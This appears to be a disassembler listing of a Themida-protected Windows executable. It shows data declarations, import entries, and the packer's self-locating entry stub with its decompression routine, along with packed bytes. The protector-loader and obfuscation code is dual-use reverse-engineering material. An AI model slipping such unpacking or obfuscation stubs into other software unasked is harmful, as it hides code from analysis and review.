dword_43F9C0	dd 0Dh dup(0)		; DATA XREF: sub_40B417+13o
					; sub_40B56C:loc_40B6A9o
dword_43F9F4	dd 0			; DATA XREF: sub_40B417+CDr
					; sub_40B417+ECr ...
		dd 0
dword_43F9FC	dd 0Eh dup(0)		; DATA XREF: sub_40B721+47o
dword_43FA34	dd 1000h dup(0)		; DATA XREF: sub_40BF6D+1Do
					; sub_40C00Do ...
dword_443A34	dd 0			; DATA XREF: sub_40BF6D+13o
					; sub_40C00D+Eo ...
dword_443A38	dd 0Eh dup(0)		; DATA XREF: sub_40D01A+Fo
dword_443A70	dd 2 dup(0)		; DATA XREF: sub_40D3A5+C8o
dword_443A78	dd 17h dup(0)		; DATA XREF: sub_40D835:loc_40D952o
					; sub_40D835+131o ...
dword_443AD4	dd 80h dup(0)		; DATA XREF: sub_40E5EB+7Co
					; sub_40E5EB+A5o
dword_443CD4	dd 0			; DATA XREF: sub_40DBB0+45w
					; sub_40DBB0+4Dr ...
dword_443CD8	dd 17h dup(0)		; DATA XREF: sub_40E4B7:loc_40E5D9o
					; sub_40E4B7+12Do
dword_443D34	dd 80h dup(0)		; DATA XREF: sub_40DAF0+4Co
					; sub_40DAF0+7Eo ...
byte_443F34	db 0			; DATA XREF: sub_40DBB0+29r
					; sub_40DBB0+34w
		align 4
dword_443F38	dd 80h dup(0)		; DATA XREF: sub_40DE07+61o
					; sub_40DE07+89o ...
dword_444138	dd 82h dup(0)		; DATA XREF: sub_40D719:loc_40D751o
					; sub_40D719+5Bo
dword_444340	dd 0			; DATA XREF: sub_40BE75+Ao
					; sub_40BE75+44r ...
		dd 5 dup(0)
dword_444358	dd 0			; DATA XREF: sub_40BE75+60r
					; sub_40EE72+BD6r
		dd 2D9h	dup(0)
dword_444EC0	dd 0			; DATA XREF: sub_407767+A8r
					; sub_40BE75+2Do ...
		dd 7Fh dup(0)
dword_4450C0	dd 0			; DATA XREF: sub_416D5C+41w
					; sub_416E97+40w ...
dword_4450C4	dd 0			; DATA XREF: sub_4060D0+23Bw
					; sub_407767:loc_4077AEr ...
dword_4450C8	dd 0			; DATA XREF: sub_40B56C+164w
					; sub_416810+AEw ...
dword_4450CC	dd 0			; DATA XREF: sub_402688+E0w
					; sub_405AF2+7Ew ...
dword_4450D0	dd 0			; DATA XREF: ___:00407E84w
					; ___:00407FA0r ...
dword_4450D4	dd 0			; DATA XREF: sub_4060D0+268w
					; sub_407252+122w ...
byte_4450D8	db 0			; DATA XREF: sub_40EB92+91o
					; sub_40EE72+3359r ...
		align 4
		dd 19Dh	dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:off_42A2D0o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:0042CCA8o
dword_450050	dd 0E700h dup(0)
dword_489C50	dd 0			; DATA XREF: sub_407110:loc_40717Er
					; sub_40E6A9+3Aw ...
		align 8
dword_489C58	dd 0			; DATA XREF: sub_40E6A9:loc_40EAA4o
dword_489C5C	dd 20h dup(0)		; DATA XREF: sub_40E6A9+393o
					; sub_40E6A9+44Co ...
dword_489CDC	dd 10h dup(0)		; DATA XREF: sub_40E6A9+3AAo
					; sub_40EE72+929o
dword_489D1C	dd 24h dup(0)		; DATA XREF: sub_40E6A9+3C1o
dword_489DAC	dd 0			; DATA XREF: sub_40E6A9+3B5w
					; sub_40E6A9+463w ...
dword_489DB0	dd 0			; DATA XREF: sub_40E6A9+3D4w
		align 10h
dword_489DC0	dd 0			; DATA XREF: sub_40EB92+72r
					; sub_40EE72+273r
		align 8
byte_489DC8	db 0			; DATA XREF: sub_40ECFA+28r
					; sub_40ECFA+30o
		align 4
dword_489DCC	dd 0			; DATA XREF: sub_40E6A9+400w
					; sub_40E6A9+417r ...
dword_489DD0	dd 0			; DATA XREF: sub_40E6A9+398w
					; sub_40EE72+8CAr
		dd 2 dup(0)
dword_489DDC	dd 0			; DATA XREF: ___:004155C6r
		dd 0
dword_489DE4	dd 1Bh dup(0)		; DATA XREF: sub_415D6A+8Do
dword_489E50	dd 0			; DATA XREF: sub_416FA4+16o
					; sub_416FC3+19o
dword_489E54	dd 65h dup(0)		; DATA XREF: sub_416F57+3Do
byte_489FE8	db 0			; DATA XREF: sub_416C55+6Ar
					; sub_416C55+98w
		align 4
		dd 2 dup(0)
dword_489FF4	dd 0			; DATA XREF: sub_417D73+Aw
dword_489FF8	dd 0			; DATA XREF: sub_4186B1+5Er
					; sub_4186B1+A4w
		align 10h
word_48A000	dw 0			; DATA XREF: sub_4186B1+55r
					; sub_4186B1+9Ao
word_48A002	dw 0			; DATA XREF: sub_4186B1+48r
		db 2 dup(0)
word_48A006	dw 0			; DATA XREF: sub_4186B1+3Br
word_48A008	dw 0			; DATA XREF: sub_4186B1+2Er
word_48A00A	dw 0			; DATA XREF: sub_4186B1+21r
		align 10h
dword_48A010	dd 0			; DATA XREF: sub_418B6E+3Br
					; sub_418B6E+91w
dword_48A014	dd 0			; DATA XREF: sub_418833+1B9w
					; sub_418D0E:loc_418D8Aw ...
dword_48A018	dd 0			; DATA XREF: sub_4197F9+35w
					; sub_41A6B7:loc_41A751w ...
dword_48A01C	dd 0			; DATA XREF: sub_41FEC6+13Ar
dword_48A020	dd 0A28h		; DATA XREF: ___:00419C36w
dword_48A024	dd 501h			; DATA XREF: ___:00419C2Dw
		dd 5, 1
dword_48A030	dd 1			; DATA XREF: sub_40E6A9:loc_40E98Cr
					; sub_41F240+91w
dword_48A034	dd 2400B30h		; DATA XREF: sub_40E6A9+2ECr
					; sub_40E6A9+30Cr ...
		dd 0
dword_48A03C	dd 2400B58h		; DATA XREF: sub_41F187+44w
					; sub_421DAE+9r ...
dword_48A040	dd 0			; DATA XREF: sub_422492+36r
dword_48A044	dd 0			; DATA XREF: sub_421DAE+16r
					; sub_42217C+4r ...
		dd 0
off_48A04C	dd offset aCM_unpackerPac ; DATA XREF: sub_41F240+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_48A054	db 0			; DATA XREF: sub_419B07+2Dw
					; sub_41FAE7+5r
		align 4
dword_48A058	dd 0			; DATA XREF: sub_419B07+27w
dword_48A05C	dd 0			; DATA XREF: sub_419B07+4r
					; sub_419B07+8Bw
dword_48A060	dd 0			; DATA XREF: ___:00419C68w
					; sub_41F187:loc_41F199r ...
		align 8
dword_48A068	dd 0			; DATA XREF: sub_419CDAr sub_419CFFr ...
dword_48A06C	dd 0			; DATA XREF: sub_41A8A2+37r
		dd 0
dword_48A074	dd 0			; DATA XREF: sub_417B89r
					; sub_41944F:loc_41956Br ...
dword_48A078	dd 0			; DATA XREF: sub_41AB54r
dword_48A07C	dd 0			; DATA XREF: sub_41BA22+4Bw
					; sub_41BB3B+2Dw ...
dword_48A080	dd 0			; DATA XREF: sub_41C96D+11r
					; sub_41CA71+1Ar ...
byte_48A084	db 0			; DATA XREF: sub_41C96D+3r
					; sub_41C96D+98r ...
		align 4
dword_48A088	dd 0			; DATA XREF: sub_41CA71+11r
					; sub_41CB4F+21w ...
byte_48A08C	db 0			; DATA XREF: sub_41CB4F+51w
		align 10h
dword_48A090	dd 0			; DATA XREF: sub_41CD45+4Er
					; sub_41D120+3Ar ...
dword_48A094	dd 0			; DATA XREF: sub_41CD45+5Cr
					; sub_41D120+43r ...
dword_48A098	dd 0			; DATA XREF: sub_417FFA+7Ar
					; sub_41CEEC+5r
dword_48A09C	dd 0			; DATA XREF: sub_41D4FC+29r
dword_48A0A0	dd 2 dup(0)		; DATA XREF: sub_418790+Co
dword_48A0A8	dd 0			; DATA XREF: sub_419063+4r
					; sub_419063+6Er ...
		dd 3 dup(0)
dword_48A0B8	dd 0			; DATA XREF: sub_4199B9+61r
					; sub_4199B9+BFr ...
		align 10h
dword_48A0C0	dd 1			; DATA XREF: sub_41E709+28r
					; sub_41E709+4Cw ...
dword_48A0C4	dd 1			; DATA XREF: sub_41E92D:loc_41EAA8r
					; sub_41EAC6+4w ...
dword_48A0C8	dd 0			; DATA XREF: sub_41EFAB+3Ar
					; sub_41EFAB+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41F240:loc_41F257o
					; ___:off_48A04Co
		align 4
		dd 3Ah dup(0)
dword_48A1D0	dd 1			; DATA XREF: sub_41F48D+2r
					; sub_41F48D+23w ...
dword_48A1D4	dd 0			; DATA XREF: sub_41F84C+21r
dword_48A1D8	dd 0			; DATA XREF: sub_41A8A2:loc_41A8CBw
					; sub_41A96C+154w ...
dword_48A1DC	dd 1			; DATA XREF: sub_41FB63+26r
					; sub_41FB63:loc_41FBCDw
dword_48A1E0	dd 0			; DATA XREF: sub_41A96C+7r
		align 8
word_48A1E8	dw 0			; DATA XREF: sub_42074B+1Ao
					; sub_42074B+46r
byte_48A1EA	db 0			; DATA XREF: sub_42074B+39r
		align 4
dword_48A1EC	dd 7 dup(0)		; DATA XREF: sub_42074B+52o
dword_48A208	dd 0			; DATA XREF: sub_42074B+40w
					; sub_42074B+5Co
dword_48A20C	dd 0			; DATA XREF: sub_42074B+4Dw
dword_48A210	dd 0			; DATA XREF: sub_42074B+31w
dword_48A214	dd 0			; DATA XREF: sub_42074B+52w
dword_48A218	dd 77C26E79h		; DATA XREF: sub_42086E:loc_420891r
					; sub_42086E+38r
		align 10h
dword_48A220	dd 0			; DATA XREF: sub_42094E+11w
					; sub_42094E+63w ...
		align 8
dword_48A228	dd 0			; DATA XREF: sub_42094E+33o
					; sub_42094E+46r
dword_48A22C	dd 10h dup(0)		; DATA XREF: sub_42094E+C1o
word_48A26C	dw 0			; DATA XREF: sub_420BAC+A8r
word_48A26E	dw 0			; DATA XREF: sub_42094E+54r
					; sub_420BAC+DBr ...
word_48A270	dw 0			; DATA XREF: sub_420BAC+CAr
word_48A272	dw 0			; DATA XREF: sub_420BAC+D3r
					; sub_420BAC:loc_420C9Er
word_48A274	dw 0			; DATA XREF: sub_420BAC+C0r
word_48A276	dw 0			; DATA XREF: sub_420BAC+B8r
word_48A278	dw 0			; DATA XREF: sub_420BAC+B0r
word_48A27A	dw 0			; DATA XREF: sub_420BAC+9Er
dword_48A27C	dd 0			; DATA XREF: sub_42094E+4Br
dword_48A280	dd 10h dup(0)		; DATA XREF: sub_42094E+FBo
word_48A2C0	dw 0			; DATA XREF: sub_420BAC+46r
word_48A2C2	dw 0			; DATA XREF: sub_42094E:loc_4209C5r
					; sub_420BAC+78r ...
word_48A2C4	dw 0			; DATA XREF: sub_420BAC+67r
word_48A2C6	dw 0			; DATA XREF: sub_420BAC+70r
					; sub_420BAC:loc_420C30r
word_48A2C8	dw 0			; DATA XREF: sub_420BAC+5Dr
word_48A2CA	dw 0			; DATA XREF: sub_420BAC+55r
word_48A2CC	dw 0			; DATA XREF: sub_420BAC+4Dr
word_48A2CE	dw 0			; DATA XREF: sub_420BAC+3Er
dword_48A2D0	dd 0			; DATA XREF: sub_42094E+80r
dword_48A2D4	dd 0			; DATA XREF: sub_42094E+132r
					; sub_42094E:loc_420A9Ar ...
dword_48A2D8	dd 0			; DATA XREF: sub_420939r sub_420939+Ew
dword_48A2DC	dd 0			; DATA XREF: sub_42105F+3r
					; sub_42105F+2Ew ...
dword_48A2E0	dd 0			; DATA XREF: sub_42105F+43w
					; sub_42105F:loc_4210AEr
dword_48A2E4	dd 0			; DATA XREF: sub_42105F+4Aw
					; sub_42105F+60r
dword_48A2E8	dd 0			; DATA XREF: sub_41FEC6+3Fr
dword_48A2EC	dd 0			; DATA XREF: sub_421C3C:loc_421CA3r
					; sub_421C3C+6Do
dword_48A2F0	dd 0			; DATA XREF: sub_421C3C:loc_421C7Ar
					; sub_421C3C+44o
dword_48A2F4	dd 0			; DATA XREF: sub_421C3C:loc_421C6Dr
					; sub_421C3C+37o
dword_48A2F8	dd 0			; DATA XREF: sub_421C3C:loc_421C87r
					; sub_421C3C+51o
		align 10h
dword_48A300	dd 0			; DATA XREF: sub_4221EA+28r
					; sub_4221EA+48w ...
dword_48A304	dd 0			; DATA XREF: sub_422C78+28r
					; sub_422C78+4Cw ...
dword_48A308	dd 0			; DATA XREF: sub_422F03+26r
					; sub_422F03:loc_422F6Dw
byte_48A30C	db 0			; DATA XREF: sub_40482Cr sub_40482C+9w
		align 10h
dword_48A310	dd 2401140h		; DATA XREF: sub_41A835:loc_41A846r
					; sub_41AADC+14r ...
		align 10h
dword_48A320	dd 400h	dup(0)		; DATA XREF: ___:off_43BCB8o
					; ___:0043BCC0o
dword_48B320	dd 200h			; DATA XREF: sub_41A835+9r
					; sub_41A835+56r ...
		dd 7 dup(0)
dword_48B340	dd 2400650h		; DATA XREF: sub_419D23+B1r
					; sub_41E248+75r ...
dword_48B344	dd 3Fh dup(0)		; DATA XREF: sub_41F5BF+92o
dword_48B440	dd 20h			; DATA XREF: sub_41A6B7+8r
					; sub_41E321+Cr ...
dword_48B444	dd 4E4h			; DATA XREF: sub_41E92D+14r
					; sub_41E92D+65w ...
		align 10h
dword_48B450	dd 3 dup(0)		; DATA XREF: sub_41E92D+123o
					; sub_41E92D+171o ...
dword_48B45C	dd 0			; DATA XREF: sub_41E92D+108w
					; sub_41E92D+15Dw ...
byte_48B460	db 0			; DATA XREF: sub_41EB6C:loc_41EC78w
					; sub_41EB6C:loc_41EC95w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_48B560	db 0			; DATA XREF: sub_41E92D+5Co
					; sub_41E92D+AFo ...
byte_48B561	db 0			; DATA XREF: sub_4192B8+5Dr
					; sub_41E92D+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_48B664	dd 0			; DATA XREF: sub_41E92D+6Ew
					; sub_41E92D+12Bw ...
dword_48B668	dd 0			; DATA XREF: sub_41AD41+3Cw
					; sub_41B3E6+5r ...
dword_48B66C	dd 0			; DATA XREF: sub_41ADB4+23Ar
					; sub_41ADB4+25Ar ...
dword_48B670	dd 0			; DATA XREF: sub_41AD41+31w
					; sub_41ADB4+311w ...
dword_48B674	dd 0			; DATA XREF: sub_41AD41+21w
					; sub_41ADB4+22Dr ...
dword_48B678	dd 0			; DATA XREF: sub_41AD41+28w
					; sub_41AD89r ...
dword_48B67C	dd 0			; DATA XREF: sub_41AD41+15w
					; sub_41AD89+8r ...
dword_48B680	dd 0			; DATA XREF: sub_417BC7+Fr
					; sub_41944F+5Cr ...
dword_48B684	dd 2400000h		; DATA XREF: sub_417BC7+66r
					; sub_417C3B+5Ar ...
dword_48B688	dd 1			; DATA XREF: sub_417BC7r sub_417C3B+Cr ...
dword_48B68C	dd 142340h		; DATA XREF: ___:00419C5Ew
					; sub_41F12F+Fr ...
dword_48B690	dd 1			; DATA XREF: sub_41F187+ADw
					; sub_421DAEr
dword_48B694	dd 1			; DATA XREF: sub_41ECF1r
					; sub_41ECF1+11w ...
dword_48B698	dd 2400758h		; DATA XREF: sub_418603+13r
					; sub_418603:loc_418645r ...
dword_48B69C	dd 2400758h		; DATA XREF: sub_418603+1r
					; sub_418603+Cr ...
		dd 258h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 0008D000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0008D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 48D000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 0008E000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0008E000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 48E000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 8E050h, 8E000h, 3 dup(0)
		dd 8E079h, 8E00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 0008F000)
; Virtual size			: 000FC000 (1032192.)
; Section size in file		: 000FC000 (1032192.)
; Offset to raw	data for section: 0008F000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 48F000h
		dd 6E4A3FC2h, 4F3B4h, 52BB9h, 0C4172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 0048F265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004FA844 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004FDDB9 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 004FE02F SIZE 00000055 BYTES
; FUNCTION CHUNK AT 004FE095 SIZE 00000096 BYTES
; FUNCTION CHUNK AT 004FE161 SIZE 00000019 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_48F086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_48F041
		popa
		jmp	short loc_48F076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF0048F0h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------

loc_48F041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi

loc_48F04E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_48F06D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_48F074

loc_48F06D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_48F04E
; ---------------------------------------------------------------------------

loc_48F074:				; CODE XREF: start+57j
		mov	edi, eax

loc_48F076:				; CODE XREF: start+1Bj
		jmp	loc_48F265
; ---------------------------------------------------------------------------
		db 3
		dd 0F26AB9C7h, 0CF030008h
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------

loc_48F086:				; CODE XREF: start+8j
		mov	eax, offset loc_4FA844
		mov	ecx, offset word_48F26A
		push	eax
		push	ecx
		call	sub_48F11B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_48F265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(“ÉäŠx¼^',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_48F11B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h

loc_48F127:				; CODE XREF: sub_48F11B:loc_48F13Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2

loc_48F132:				; CODE XREF: sub_48F11B+7Aj
					; sub_48F11B+C3j ...
		add	dl, dl
		jnz	short loc_48F13B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F13B:				; CODE XREF: sub_48F11B+19j
		jnb	short loc_48F127
		add	dl, dl
		jnz	short loc_48F146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F146:				; CODE XREF: sub_48F11B+24j
		jnb	short loc_48F197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_48F153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F153:				; CODE XREF: sub_48F11B+31j
		jnb	loc_48F238
		add	dl, dl
		jnz	short loc_48F162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F162:				; CODE XREF: sub_48F11B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F16D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F16D:				; CODE XREF: sub_48F11B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F178:				; CODE XREF: sub_48F11B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F183:				; CODE XREF: sub_48F11B+61j
		adc	eax, eax
		jz	short loc_48F18D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi

loc_48F18D:				; CODE XREF: sub_48F11B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_48F132
; ---------------------------------------------------------------------------

loc_48F197:				; CODE XREF: sub_48F11B:loc_48F146j
		mov	eax, 1

loc_48F19C:				; CODE XREF: sub_48F11B:loc_48F1B0j
		add	dl, dl
		jnz	short loc_48F1A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F1A5:				; CODE XREF: sub_48F11B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F1B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F1B0:				; CODE XREF: sub_48F11B+8Ej
		jb	short loc_48F19C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_48F1E3
		mov	ecx, 1

loc_48F1C0:				; CODE XREF: sub_48F11B:loc_48F1D4j
		add	dl, dl
		jnz	short loc_48F1C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F1C9:				; CODE XREF: sub_48F11B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_48F1D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F1D4:				; CODE XREF: sub_48F11B+B2j
		jb	short loc_48F1C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_48F132
; ---------------------------------------------------------------------------

loc_48F1E3:				; CODE XREF: sub_48F11B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1

loc_48F1F1:				; CODE XREF: sub_48F11B:loc_48F205j
		add	dl, dl
		jnz	short loc_48F1FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F1FA:				; CODE XREF: sub_48F11B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_48F205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_48F205:				; CODE XREF: sub_48F11B+E3j
		jb	short loc_48F1F1
		cmp	eax, 7D00h
		jnb	short loc_48F228
		cmp	eax, 500h
		jb	short loc_48F223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_48F132
; ---------------------------------------------------------------------------

loc_48F223:				; CODE XREF: sub_48F11B+F8j
		cmp	eax, 7Fh
		ja	short loc_48F22B

loc_48F228:				; CODE XREF: sub_48F11B+F1j
		add	ecx, 2

loc_48F22B:				; CODE XREF: sub_48F11B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_48F132
; ---------------------------------------------------------------------------

loc_48F238:				; CODE XREF: sub_48F11B:loc_48F153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_48F259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_48F132
; ---------------------------------------------------------------------------

loc_48F259:				; CODE XREF: sub_48F11B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_48F11B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_48F265:				; CODE XREF: start:loc_48F076j
					; start+9Dj
		jmp	loc_4FA844
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_48F26A	dw 38E9h		; DATA XREF: start+77o
		dd 1523570h, 3B22F2BAh,	0CEBF3B84h, 0FFBE1001h,	0FE11018Eh
		dd 0B82488AFh, 0F3F4EF47h, 71FCFFBCh, 572303DCh, 2C9DA75Fh
		dd 0E10398E6h, 21C8AF0Bh, 0F0FE43B8h, 1C736552h, 0CE726174h
		dd 2E2F7041h, 239C784Fh, 3691D5F5h, 45EB8570h, 335E690h
		dd 92F20EE1h, 0F0AE112Eh, 0E656854h, 6164696Dh,	0C7AEEF10h
		dd 770803AAh, 54514B55h, 14B33F9h, 0E45D8570h, 70225C11h
		dd 0F0D78578h, 0D4E4C58Bh, 44E86038h, 0ED81005Dh, 622357Fh
		dd 65309589h, 75B50D02h, 71858829h, 3D833140h, 0C04119BDh
		dd 8B390C74h, 0B8E216E8h, 0DEC2B923h, 24443870h, 0B493EE2h
		dd 0E8456A00h, 6829C0A3h, 783749Ah, 0AA0DFF4h, 893D4B25h
		dd 14D5220Ah, 0EC0214E9h
		db 0AFh, 0A0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		adc	eax, 0EED8C483h
		sbb	byte ptr [edx-7Fh], 0EAh
		insd
		or	byte ptr ss:[ebx+45C712DAh], 0D8h ; CODE XREF: Themida_:0048F36Dj
		or	ss:[esi], cl
		xor	[eax-77h], eax
		or	[ecx-737F0683h], al
		sbb	eax, 8200F74h
		inc	byte ptr [ebx+3010D749h]
		call	dword ptr [edx]
		inc	ebx
		jmp	short near ptr loc_48F34B+5
; ---------------------------------------------------------------------------
		db 0C6h
		dd 2661DC36h, 0C228C9E8h, 810D4604h, 2FF7CC4h, 88B6491Ch
		dd 8002458Dh, 0C7085D8Bh, 50198885h, 10A8D94h, 1888C3D1h
		dd 0B518941h, 644BD81h,	0E3755D05h, 518D2728h, 75D864BAh
		dd 0E8A0980h, 5B20F4BBh, 5437ABB8h, 0D0D3781Fh,	4B080F98h
		dd 0AF77675h, 4647C3AFh, 0C546484Ah, 0D14245F9h, 0E8A7461h
		dd 0B1BFF0D0h, 41FC45EEh, 4704EB4Dh, 804691ADh,	0F7408A3Eh
		dd 346D84BAh, 320C7DCCh, 0F83E7FEBh, 12906D19h,	0F40E99F0h
		dd 0C14A1050h, 4F02865h, 0D1F807D6h, 2CC203E0h,	0DB033328h
		dd 80301C8Ah, 0A7299FBh, 77390A87h, 0DEEBA705h,	6114224Ch
		dd 0ACF0DFEh, 1E08ED66h, 0AC3E9EBh, 1A8610D5h, 0A0B7241h
		dd 677461Bh, 143D424h, 0EC0EF05Dh, 637D83F4h, 66B07202h
		dd 0A576C00Ch, 26C8AAECh, 8DC039F8h, 3BA840EDh,	0F15FC55h
		dd 38BD7882h, 38AA37B0h, 81CBACAh, 7015B91Ch, 20BD3EFCh
		dd 0FFE0137h, 0FA754947h, 6AD3E7B9h, 0F101BBB8h, 823B0972h
		dd 26FEBh, 39E8868Eh, 51071C23h, 0A2361F65h, 26778AEEh
		dd 20F2E989h, 0DBB81059h, 2C00F3E4h, 80C482C3h,	0CC08A841h
		dd 6192F130h, 12EA5718h, 3C3C8C35h, 160280EFh, 72FC27D2h
		dd 3164BD83h, 5B351EA8h, 0DB96707h, 8C536234h, 0BFCB93DAh
		dd 3982800Fh, 60765B4Eh, 3D517C0Fh, 3BF8D104h, 62C346ECh
		dd 0AB2E0975h, 480E0111h, 9065E4ECh, 845C4006h,	8E1905C5h
		dd 53F3FB96h, 0C204151Eh, 718C0329h, 6EE78205h,	0FFCCE20Eh
		dd 7730812Bh, 341D2204h, 0F98406C1h, 0BC207533h, 0ADD3F41h
		dd 309CEFD9h, 0EC41CE02h, 0CC7F8C26h, 4043FF7Eh, 0E9A9453Fh
